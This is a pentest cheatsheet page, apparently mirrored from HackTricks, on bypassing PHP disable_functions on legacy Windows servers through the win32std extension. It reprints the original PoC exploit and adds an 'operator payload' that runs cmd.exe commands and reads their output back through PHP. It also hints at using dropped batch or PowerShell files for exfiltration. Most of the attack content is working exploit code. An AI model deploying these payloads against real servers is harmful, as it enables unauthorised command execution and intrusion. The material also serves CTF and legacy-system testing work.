repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-bypass-php-5-2-3-win32std-ext-protections-bypass.mdMarkdown134 lines7.5 KiBsource raw download

title: "PHP 5.2.3 - Win32std ext Protections Bypass" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

PHP 5.2.3 - Win32std ext Protections Bypass#

This is a legacy Windows-only bypass that depends on the old win32std PECL extension exposing win_shell_execute(). It is useful in CTFs, old appliances, and abandoned shared-hosting stacks, but it is not a generic modern disable_functions bypass.

Why it works#

disable_functions only blocks the PHP internals explicitly listed in php.ini. If a third-party extension exposes a helper that eventually reaches the OS itself, that helper is outside the disabled built-in function set unless the admin also removes the extension or blocks that exact entry point.

In this case, the primitive is:

win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");

The old win32std extension documented win_shell_execute(string absolute_path[, string action, string args, string dir]) as a wrapper around normal Windows shell actions. In practice, on vulnerable legacy installs this gives you a process-spawning primitive even if common functions such as system() were disabled.

Preconditions#

Practical notes:

2026 reality check#

The easiest false positive here is seeing win32std and assuming RCE. Before spending time on payloads, verify the exact exported functions:

<?php
var_dump(extension_loaded('win32std'));
print_r(get_extension_funcs('win32std'));
var_dump(function_exists('win_shell_execute'));
?>

Things worth checking from a shell or via phpinfo():

If win32std is absent, look at the parent page for different disable_functions / open_basedir bypasses, or at the other legacy Windows trick in this section.

Original PoC#

The original SafeBuff post is no longer available; Exploit-DB preserves a mirror of shinnai's PoC.[2]

<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the CLI, cmd.exe will be executed
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

Practical operator payload#

The original PoC only proves that process creation is possible. In a web context you usually want command output, and win_shell_execute() returns a boolean, not the spawned process output. Redirect stdout/stderr to a readable file and then fetch it through PHP:

<?php
$tmp = 'C:\\Windows\\Temp\\ht-win32std.txt';
@unlink($tmp);

win_shell_execute(
    'C:\\Windows\\System32\\cmd.exe',
    '',
    '/c (whoami && hostname) > "' . $tmp . '" 2>&1',
    'C:\\Windows\\Temp'
);

sleep(1);
echo nl2br(htmlentities(@file_get_contents($tmp)));
?>

A more realistic variant drops a one-shot batch file or PowerShell command into a writable directory and uses redirection for exfiltration. Because the child process is running under Windows, its file access is constrained by OS permissions, not by PHP open_basedir.

Operator notes#

Readme

Constraints#

References#